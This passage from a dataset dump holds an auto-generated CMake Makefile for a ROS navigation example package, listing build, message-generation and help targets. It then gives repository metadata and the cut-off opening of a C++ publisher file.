/home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/nav_stack_node.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/nav_stack_node.dir/rule\n\n# Convenience name for target.\nnav_stack_node: nav_stack_example/CMakeFiles/nav_stack_node.dir/rule\n\n.PHONY : nav_stack_node\n\n# fast build rule for target.\nnav_stack_node/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/nav_stack_node.dir/build.make nav_stack_example/CMakeFiles/nav_stack_node.dir/build\n.PHONY : nav_stack_node/fast\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/base_local_planner_gencfg.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/base_local_planner_gencfg.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/base_local_planner_gencfg.dir/rule\n\n# Convenience name for target.\nbase_local_planner_gencfg: nav_stack_example/CMakeFiles/base_local_planner_gencfg.dir/rule\n\n.PHONY : base_local_planner_gencfg\n\n# fast build rule for target.\nbase_local_planner_gencfg/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/base_local_planner_gencfg.dir/build.make nav_stack_example/CMakeFiles/base_local_planner_gencfg.dir/build\n.PHONY : base_local_planner_gencfg/fast\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/base_local_planner_generate_messages_nodejs.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/base_local_planner_generate_messages_nodejs.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/base_local_planner_generate_messages_nodejs.dir/rule\n\n# Convenience name for target.\nbase_local_planner_generate_messages_nodejs: nav_stack_example/CMakeFiles/base_local_planner_generate_messages_nodejs.dir/rule\n\n.PHONY : base_local_planner_generate_messages_nodejs\n\n# fast build rule for target.\nbase_local_planner_generate_messages_nodejs/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/base_local_planner_generate_messages_nodejs.dir/build.make nav_stack_example/CMakeFiles/base_local_planner_generate_messages_nodejs.dir/build\n.PHONY : base_local_planner_generate_messages_nodejs/fast\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/base_local_planner_generate_messages_cpp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/base_local_planner_generate_messages_cpp.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/base_local_planner_generate_messages_cpp.dir/rule\n\n# Convenience name for target.\nbase_local_planner_generate_messages_cpp: nav_stack_example/CMakeFiles/base_local_planner_generate_messages_cpp.dir/rule\n\n.PHONY : base_local_planner_generate_messages_cpp\n\n# fast build rule for target.\nbase_local_planner_generate_messages_cpp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/base_local_planner_generate_messages_cpp.dir/build.make nav_stack_example/CMakeFiles/base_local_planner_generate_messages_cpp.dir/build\n.PHONY : base_local_planner_generate_messages_cpp/fast\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/navfn_generate_messages_py.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/navfn_generate_messages_py.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/navfn_generate_messages_py.dir/rule\n\n# Convenience name for target.\nnavfn_generate_messages_py: nav_stack_example/CMakeFiles/navfn_generate_messages_py.dir/rule\n\n.PHONY : navfn_generate_messages_py\n\n# fast build rule for target.\nnavfn_generate_messages_py/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/navfn_generate_messages_py.dir/build.make nav_stack_example/CMakeFiles/navfn_generate_messages_py.dir/build\n.PHONY : navfn_generate_messages_py/fast\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/navfn_generate_messages_nodejs.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/navfn_generate_messages_nodejs.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/navfn_generate_messages_nodejs.dir/rule\n\n# Convenience name for target.\nnavfn_generate_messages_nodejs: nav_stack_example/CMakeFiles/navfn_generate_messages_nodejs.dir/rule\n\n.PHONY : navfn_generate_messages_nodejs\n\n# fast build rule for target.\nnavfn_generate_messages_nodejs/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/navfn_generate_messages_nodejs.dir/build.make nav_stack_example/CMakeFiles/navfn_generate_messages_nodejs.dir/build\n.PHONY : navfn_generate_messages_nodejs/fast\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/navfn_generate_messages_eus.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/navfn_generate_messages_eus.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/navfn_generate_messages_eus.dir/rule\n\n# Convenience name for target.\nnavfn_generate_messages_eus: nav_stack_example/CMakeFiles/navfn_generate_messages_eus.dir/rule\n\n.PHONY : navfn_generate_messages_eus\n\n# fast build rule for target.\nnavfn_generate_messages_eus/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/navfn_generate_messages_eus.dir/build.make nav_stack_example/CMakeFiles/navfn_generate_messages_eus.dir/build\n.PHONY : navfn_generate_messages_eus/fast\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/navfn_generate_messages_cpp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/navfn_generate_messages_cpp.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/navfn_generate_messages_cpp.dir/rule\n\n# Convenience name for target.\nnavfn_generate_messages_cpp: nav_stack_example/CMakeFiles/navfn_generate_messages_cpp.dir/rule\n\n.PHONY : navfn_generate_messages_cpp\n\n# fast build rule for target.\nnavfn_generate_messages_cpp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/navfn_generate_messages_cpp.dir/build.make nav_stack_example/CMakeFiles/navfn_generate_messages_cpp.dir/build\n.PHONY : navfn_generate_messages_cpp/fast\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/costmap_2d_generate_messages_py.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/costmap_2d_generate_messages_py.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/costmap_2d_generate_messages_py.dir/rule\n\n# Convenience name for target.\ncostmap_2d_generate_messages_py: nav_stack_example/CMakeFiles/costmap_2d_generate_messages_py.dir/rule\n\n.PHONY : costmap_2d_generate_messages_py\n\n# fast build rule for target.\ncostmap_2d_generate_messages_py/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/costmap_2d_generate_messages_py.dir/build.make nav_stack_example/CMakeFiles/costmap_2d_generate_messages_py.dir/build\n.PHONY : costmap_2d_generate_messages_py/fast\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/base_local_planner_generate_messages_eus.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/base_local_planner_generate_messages_eus.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/base_local_planner_generate_messages_eus.dir/rule\n\n# Convenience name for target.\nbase_local_planner_generate_messages_eus: nav_stack_example/CMakeFiles/base_local_planner_generate_messages_eus.dir/rule\n\n.PHONY : base_local_planner_generate_messages_eus\n\n# fast build rule for target.\nbase_local_planner_generate_messages_eus/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/base_local_planner_generate_messages_eus.dir/build.make nav_stack_example/CMakeFiles/base_local_planner_generate_messages_eus.dir/build\n.PHONY : base_local_planner_generate_messages_eus/fast\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/costmap_2d_generate_messages_cpp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/costmap_2d_generate_messages_cpp.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/costmap_2d_generate_messages_cpp.dir/rule\n\n# Convenience name for target.\ncostmap_2d_generate_messages_cpp: nav_stack_example/CMakeFiles/costmap_2d_generate_messages_cpp.dir/rule\n\n.PHONY : costmap_2d_generate_messages_cpp\n\n# fast build rule for target.\ncostmap_2d_generate_messages_cpp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/costmap_2d_generate_messages_cpp.dir/build.make nav_stack_example/CMakeFiles/costmap_2d_generate_messages_cpp.dir/build\n.PHONY : costmap_2d_generate_messages_cpp/fast\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/nav_msgs_generate_messages_lisp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/nav_msgs_generate_messages_lisp.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/nav_msgs_generate_messages_lisp.dir/rule\n\n# Convenience name for target.\nnav_msgs_generate_messages_lisp: nav_stack_example/CMakeFiles/nav_msgs_generate_messages_lisp.dir/rule\n\n.PHONY : nav_msgs_generate_messages_lisp\n\n# fast build rule for target.\nnav_msgs_generate_messages_lisp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/nav_msgs_generate_messages_lisp.dir/build.make nav_stack_example/CMakeFiles/nav_msgs_generate_messages_lisp.dir/build\n.PHONY : nav_msgs_generate_messages_lisp/fast\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/navfn_generate_messages_lisp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/navfn_generate_messages_lisp.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/navfn_generate_messages_lisp.dir/rule\n\n# Convenience name for target.\nnavfn_generate_messages_lisp: nav_stack_example/CMakeFiles/navfn_generate_messages_lisp.dir/rule\n\n.PHONY : navfn_generate_messages_lisp\n\n# fast build rule for target.\nnavfn_generate_messages_lisp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/navfn_generate_messages_lisp.dir/build.make nav_stack_example/CMakeFiles/navfn_generate_messages_lisp.dir/build\n.PHONY : navfn_generate_messages_lisp/fast\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/costmap_2d_generate_messages_nodejs.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/costmap_2d_generate_messages_nodejs.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/costmap_2d_generate_messages_nodejs.dir/rule\n\n# Convenience name for target.\ncostmap_2d_generate_messages_nodejs: nav_stack_example/CMakeFiles/costmap_2d_generate_messages_nodejs.dir/rule\n\n.PHONY : costmap_2d_generate_messages_nodejs\n\n# fast build rule for target.\ncostmap_2d_generate_messages_nodejs/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/costmap_2d_generate_messages_nodejs.dir/build.make nav_stack_example/CMakeFiles/costmap_2d_generate_messages_nodejs.dir/build\n.PHONY : costmap_2d_generate_messages_nodejs/fast\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/map_msgs_generate_messages_cpp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/map_msgs_generate_messages_cpp.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/map_msgs_generate_messages_cpp.dir/rule\n\n# Convenience name for target.\nmap_msgs_generate_messages_cpp: nav_stack_example/CMakeFiles/map_msgs_generate_messages_cpp.dir/rule\n\n.PHONY : map_msgs_generate_messages_cpp\n\n# fast build rule for target.\nmap_msgs_generate_messages_cpp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/map_msgs_generate_messages_cpp.dir/build.make nav_stack_example/CMakeFiles/map_msgs_generate_messages_cpp.dir/build\n.PHONY : map_msgs_generate_messages_cpp/fast\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/costmap_2d_generate_messages_lisp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/costmap_2d_generate_messages_lisp.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/costmap_2d_generate_messages_lisp.dir/rule\n\n# Convenience name for target.\ncostmap_2d_generate_messages_lisp: nav_stack_example/CMakeFiles/costmap_2d_generate_messages_lisp.dir/rule\n\n.PHONY : costmap_2d_generate_messages_lisp\n\n# fast build rule for target.\ncostmap_2d_generate_messages_lisp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/costmap_2d_generate_messages_lisp.dir/build.make nav_stack_example/CMakeFiles/costmap_2d_generate_messages_lisp.dir/build\n.PHONY : costmap_2d_generate_messages_lisp/fast\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/base_local_planner_generate_messages_lisp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/base_local_planner_generate_messages_lisp.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/base_local_planner_generate_messages_lisp.dir/rule\n\n# Convenience name for target.\nbase_local_planner_generate_messages_lisp: nav_stack_example/CMakeFiles/base_local_planner_generate_messages_lisp.dir/rule\n\n.PHONY : base_local_planner_generate_messages_lisp\n\n# fast build rule for target.\nbase_local_planner_generate_messages_lisp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/base_local_planner_generate_messages_lisp.dir/build.make nav_stack_example/CMakeFiles/base_local_planner_generate_messages_lisp.dir/build\n.PHONY : base_local_planner_generate_messages_lisp/fast\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/costmap_2d_gencfg.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/costmap_2d_gencfg.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/costmap_2d_gencfg.dir/rule\n\n# Convenience name for target.\ncostmap_2d_gencfg: nav_stack_example/CMakeFiles/costmap_2d_gencfg.dir/rule\n\n.PHONY : costmap_2d_gencfg\n\n# fast build rule for target.\ncostmap_2d_gencfg/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/costmap_2d_gencfg.dir/build.make nav_stack_example/CMakeFiles/costmap_2d_gencfg.dir/build\n.PHONY : costmap_2d_gencfg/fast\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/costmap_2d_generate_messages_eus.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/costmap_2d_generate_messages_eus.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/costmap_2d_generate_messages_eus.dir/rule\n\n# Convenience name for target.\ncostmap_2d_generate_messages_eus: nav_stack_example/CMakeFiles/costmap_2d_generate_messages_eus.dir/rule\n\n.PHONY : costmap_2d_generate_messages_eus\n\n# fast build rule for target.\ncostmap_2d_generate_messages_eus/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/costmap_2d_generate_messages_eus.dir/build.make nav_stack_example/CMakeFiles/costmap_2d_generate_messages_eus.dir/build\n.PHONY : costmap_2d_generate_messages_eus/fast\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/base_local_planner_generate_messages_py.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/base_local_planner_generate_messages_py.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/base_local_planner_generate_messages_py.dir/rule\n\n# Convenience name for target.\nbase_local_planner_generate_messages_py: nav_stack_example/CMakeFiles/base_local_planner_generate_messages_py.dir/rule\n\n.PHONY : base_local_planner_generate_messages_py\n\n# fast build rule for target.\nbase_local_planner_generate_messages_py/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/base_local_planner_generate_messages_py.dir/build.make nav_stack_example/CMakeFiles/base_local_planner_generate_messages_py.dir/build\n.PHONY : base_local_planner_generate_messages_py/fast\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/map_msgs_generate_messages_eus.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/map_msgs_generate_messages_eus.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/map_msgs_generate_messages_eus.dir/rule\n\n# Convenience name for target.\nmap_msgs_generate_messages_eus: nav_stack_example/CMakeFiles/map_msgs_generate_messages_eus.dir/rule\n\n.PHONY : map_msgs_generate_messages_eus\n\n# fast build rule for target.\nmap_msgs_generate_messages_eus/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/map_msgs_generate_messages_eus.dir/build.make nav_stack_example/CMakeFiles/map_msgs_generate_messages_eus.dir/build\n.PHONY : map_msgs_generate_messages_eus/fast\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/map_msgs_generate_messages_py.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/map_msgs_generate_messages_py.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/map_msgs_generate_messages_py.dir/rule\n\n# Convenience name for target.\nmap_msgs_generate_messages_py: nav_stack_example/CMakeFiles/map_msgs_generate_messages_py.dir/rule\n\n.PHONY : map_msgs_generate_messages_py\n\n# fast build rule for target.\nmap_msgs_generate_messages_py/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/map_msgs_generate_messages_py.dir/build.make nav_stack_example/CMakeFiles/map_msgs_generate_messages_py.dir/build\n.PHONY : map_msgs_generate_messages_py/fast\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/local_planner.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/local_planner.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/local_planner.dir/rule\n\n# Convenience name for target.\nlocal_planner: nav_stack_example/CMakeFiles/local_planner.dir/rule\n\n.PHONY : local_planner\n\n# fast build rule for target.\nlocal_planner/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/local_planner.dir/build.make nav_stack_example/CMakeFiles/local_planner.dir/build\n.PHONY : local_planner/fast\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/nav_msgs_generate_messages_cpp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/nav_msgs_generate_messages_cpp.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/nav_msgs_generate_messages_cpp.dir/rule\n\n# Convenience name for target.\nnav_msgs_generate_messages_cpp: nav_stack_example/CMakeFiles/nav_msgs_generate_messages_cpp.dir/rule\n\n.PHONY : nav_msgs_generate_messages_cpp\n\n# fast build rule for target.\nnav_msgs_generate_messages_cpp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/nav_msgs_generate_messages_cpp.dir/build.make nav_stack_example/CMakeFiles/nav_msgs_generate_messages_cpp.dir/build\n.PHONY : nav_msgs_generate_messages_cpp/fast\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/nav_msgs_generate_messages_eus.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/nav_msgs_generate_messages_eus.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/nav_msgs_generate_messages_eus.dir/rule\n\n# Convenience name for target.\nnav_msgs_generate_messages_eus: nav_stack_example/CMakeFiles/nav_msgs_generate_messages_eus.dir/rule\n\n.PHONY : nav_msgs_generate_messages_eus\n\n# fast build rule for target.\nnav_msgs_generate_messages_eus/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/nav_msgs_generate_messages_eus.dir/build.make nav_stack_example/CMakeFiles/nav_msgs_generate_messages_eus.dir/build\n.PHONY : nav_msgs_generate_messages_eus/fast\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/map_msgs_generate_messages_lisp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/map_msgs_generate_messages_lisp.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/map_msgs_generate_messages_lisp.dir/rule\n\n# Convenience name for target.\nmap_msgs_generate_messages_lisp: nav_stack_example/CMakeFiles/map_msgs_generate_messages_lisp.dir/rule\n\n.PHONY : map_msgs_generate_messages_lisp\n\n# fast build rule for target.\nmap_msgs_generate_messages_lisp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/map_msgs_generate_messages_lisp.dir/build.make nav_stack_example/CMakeFiles/map_msgs_generate_messages_lisp.dir/build\n.PHONY : map_msgs_generate_messages_lisp/fast\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/map_msgs_generate_messages_nodejs.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/map_msgs_generate_messages_nodejs.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/map_msgs_generate_messages_nodejs.dir/rule\n\n# Convenience name for target.\nmap_msgs_generate_messages_nodejs: nav_stack_example/CMakeFiles/map_msgs_generate_messages_nodejs.dir/rule\n\n.PHONY : map_msgs_generate_messages_nodejs\n\n# fast build rule for target.\nmap_msgs_generate_messages_nodejs/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/map_msgs_generate_messages_nodejs.dir/build.make nav_stack_example/CMakeFiles/map_msgs_generate_messages_nodejs.dir/build\n.PHONY : map_msgs_generate_messages_nodejs/fast\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/nav_msgs_generate_messages_nodejs.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/nav_msgs_generate_messages_nodejs.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/nav_msgs_generate_messages_nodejs.dir/rule\n\n# Convenience name for target.\nnav_msgs_generate_messages_nodejs: nav_stack_example/CMakeFiles/nav_msgs_generate_messages_nodejs.dir/rule\n\n.PHONY : nav_msgs_generate_messages_nodejs\n\n# fast build rule for target.\nnav_msgs_generate_messages_nodejs/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/nav_msgs_generate_messages_nodejs.dir/build.make nav_stack_example/CMakeFiles/nav_msgs_generate_messages_nodejs.dir/build\n.PHONY : nav_msgs_generate_messages_nodejs/fast\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/nav_msgs_generate_messages_py.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/CMakeFiles/nav_msgs_generate_messages_py.dir/rule\n.PHONY : nav_stack_example/CMakeFiles/nav_msgs_generate_messages_py.dir/rule\n\n# Convenience name for target.\nnav_msgs_generate_messages_py: nav_stack_example/CMakeFiles/nav_msgs_generate_messages_py.dir/rule\n\n.PHONY : nav_msgs_generate_messages_py\n\n# fast build rule for target.\nnav_msgs_generate_messages_py/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/nav_msgs_generate_messages_py.dir/build.make nav_stack_example/CMakeFiles/nav_msgs_generate_messages_py.dir/build\n.PHONY : nav_msgs_generate_messages_py/fast\n\nsrc/local_planner.o: src/local_planner.cpp.o\n\n.PHONY : src/local_planner.o\n\n# target to build an object file\nsrc/local_planner.cpp.o:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/local_planner.dir/build.make nav_stack_example/CMakeFiles/local_planner.dir/src/local_planner.cpp.o\n.PHONY : src/local_planner.cpp.o\n\nsrc/local_planner.i: src/local_planner.cpp.i\n\n.PHONY : src/local_planner.i\n\n# target to preprocess a source file\nsrc/local_planner.cpp.i:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/local_planner.dir/build.make nav_stack_example/CMakeFiles/local_planner.dir/src/local_planner.cpp.i\n.PHONY : src/local_planner.cpp.i\n\nsrc/local_planner.s: src/local_planner.cpp.s\n\n.PHONY : src/local_planner.s\n\n# target to generate assembly for a file\nsrc/local_planner.cpp.s:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/local_planner.dir/build.make nav_stack_example/CMakeFiles/local_planner.dir/src/local_planner.cpp.s\n.PHONY : src/local_planner.cpp.s\n\nsrc/nav_stack_node.o: src/nav_stack_node.cpp.o\n\n.PHONY : src/nav_stack_node.o\n\n# target to build an object file\nsrc/nav_stack_node.cpp.o:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/nav_stack_node.dir/build.make nav_stack_example/CMakeFiles/nav_stack_node.dir/src/nav_stack_node.cpp.o\n.PHONY : src/nav_stack_node.cpp.o\n\nsrc/nav_stack_node.i: src/nav_stack_node.cpp.i\n\n.PHONY : src/nav_stack_node.i\n\n# target to preprocess a source file\nsrc/nav_stack_node.cpp.i:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/nav_stack_node.dir/build.make nav_stack_example/CMakeFiles/nav_stack_node.dir/src/nav_stack_node.cpp.i\n.PHONY : src/nav_stack_node.cpp.i\n\nsrc/nav_stack_node.s: src/nav_stack_node.cpp.s\n\n.PHONY : src/nav_stack_node.s\n\n# target to generate assembly for a file\nsrc/nav_stack_node.cpp.s:\n\tcd /home/justin/ros_test/build && $(MAKE) -f nav_stack_example/CMakeFiles/nav_stack_node.dir/build.make nav_stack_example/CMakeFiles/nav_stack_node.dir/src/nav_stack_node.cpp.s\n.PHONY : src/nav_stack_node.cpp.s\n\n# Help Target\nhelp:\n\t@echo \"The following are some of the valid targets for this Makefile:\"\n\t@echo \"... all (the default if no target is provided)\"\n\t@echo \"... clean\"\n\t@echo \"... depend\"\n\t@echo \"... install/strip\"\n\t@echo \"... install\"\n\t@echo \"... rebuild_cache\"\n\t@echo \"... nav_stack_node\"\n\t@echo \"... base_local_planner_gencfg\"\n\t@echo \"... base_local_planner_generate_messages_nodejs\"\n\t@echo \"... base_local_planner_generate_messages_cpp\"\n\t@echo \"... navfn_generate_messages_py\"\n\t@echo \"... navfn_generate_messages_nodejs\"\n\t@echo \"... test\"\n\t@echo \"... navfn_generate_messages_eus\"\n\t@echo \"... navfn_generate_messages_cpp\"\n\t@echo \"... costmap_2d_generate_messages_py\"\n\t@echo \"... list_install_components\"\n\t@echo \"... base_local_planner_generate_messages_eus\"\n\t@echo \"... costmap_2d_generate_messages_cpp\"\n\t@echo \"... edit_cache\"\n\t@echo \"... nav_msgs_generate_messages_lisp\"\n\t@echo \"... install/local\"\n\t@echo \"... navfn_generate_messages_lisp\"\n\t@echo \"... costmap_2d_generate_messages_nodejs\"\n\t@echo \"... map_msgs_generate_messages_cpp\"\n\t@echo \"... costmap_2d_generate_messages_lisp\"\n\t@echo \"... base_local_planner_generate_messages_lisp\"\n\t@echo \"... costmap_2d_gencfg\"\n\t@echo \"... costmap_2d_generate_messages_eus\"\n\t@echo \"... base_local_planner_generate_messages_py\"\n\t@echo \"... map_msgs_generate_messages_eus\"\n\t@echo \"... map_msgs_generate_messages_py\"\n\t@echo \"... local_planner\"\n\t@echo \"... nav_msgs_generate_messages_cpp\"\n\t@echo \"... nav_msgs_generate_messages_eus\"\n\t@echo \"... map_msgs_generate_messages_lisp\"\n\t@echo \"... map_msgs_generate_messages_nodejs\"\n\t@echo \"... nav_msgs_generate_messages_nodejs\"\n\t@echo \"... nav_msgs_generate_messages_py\"\n\t@echo \"... src/local_planner.o\"\n\t@echo \"... src/local_planner.i\"\n\t@echo \"... src/local_planner.s\"\n\t@echo \"... src/nav_stack_node.o\"\n\t@echo \"... src/nav_stack_node.i\"\n\t@echo \"... src/nav_stack_node.s\"\n.PHONY : help\n\n\n\n#=============================================================================\n# Special targets to cleanup operation of make.\n\n# Special rule to run CMake to check the build system integrity.\n# No rule that depends on this can have commands that come from listfiles\n# because they might be regenerated.\ncmake_check_build_system:\n\tcd /home/justin/ros_test/build && $(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 0\n.PHONY : cmake_check_build_system\n\n" }, { "alpha_fraction": 0.6066176295280457, "alphanum_fraction": 0.623774528503418, "avg_line_length": 16.319149017333984, "blob_id": "7e85cc2bf86f09a32f4c0a29ff2421fbe20e497b", "content_id": "7e2e7b559414ebb530a4864f297d695fd3daef75", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 816, "license_type": "no_license", "max_line_length": 85, "num_lines": 47, "path": "/src/mybot_cpp/pub.cpp", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#include \"ros/ros.h\"\n#include 